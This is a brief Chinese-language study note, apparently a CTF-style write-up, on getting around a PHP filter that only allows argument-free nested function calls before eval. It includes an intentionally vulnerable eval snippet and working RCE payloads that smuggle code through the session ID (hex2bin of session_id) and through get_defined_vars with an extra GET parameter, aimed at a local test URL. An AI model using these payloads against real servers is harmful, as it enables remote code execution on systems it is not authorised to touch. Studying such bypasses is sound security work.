學習一下php中無符號的問題。
1.無參數
<?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } else { show_source(__FILE__); } ?>
這里調用函數只能是code(a()) 也就是括號中不能含有參數。
http-header傳參
在session_id中設置我們想要輸入的RCE,達到傳參的目的,但是第一點需要session_start()開啟session會話。
payload:code=eval(hex2bin(session_id(session_start())));
hex("phpinfo();")=706870696e666f28293b
可以成功命令執行。
第二種:post/get傳入參數
get_defined_vars ( void ) : array 返回由所有已定義變量所組成的數組
此函數返回一個包含所有已定義變量列表的多維數組,這些變量包括環境變量、服務器變量和用戶定義的變量。
payload:?code=var_dump(get_defined_vars())&b=1;
變量b和code都在參數中,如何將b帶出來用它執行poc
current ( array &$array ) : mixed 返回數組中的當前單元
每個數組中都有一個內部的指針指向它“當前的”單元,初始指向插入到數組中的第一個單元。
這樣可以提取b中的內容了
利用eval和上面的函數可以達到RCE的效果
http://192.168.1.103/test/test.php?code=eval(end(current(get_defined_vars())));&b=phpinfo();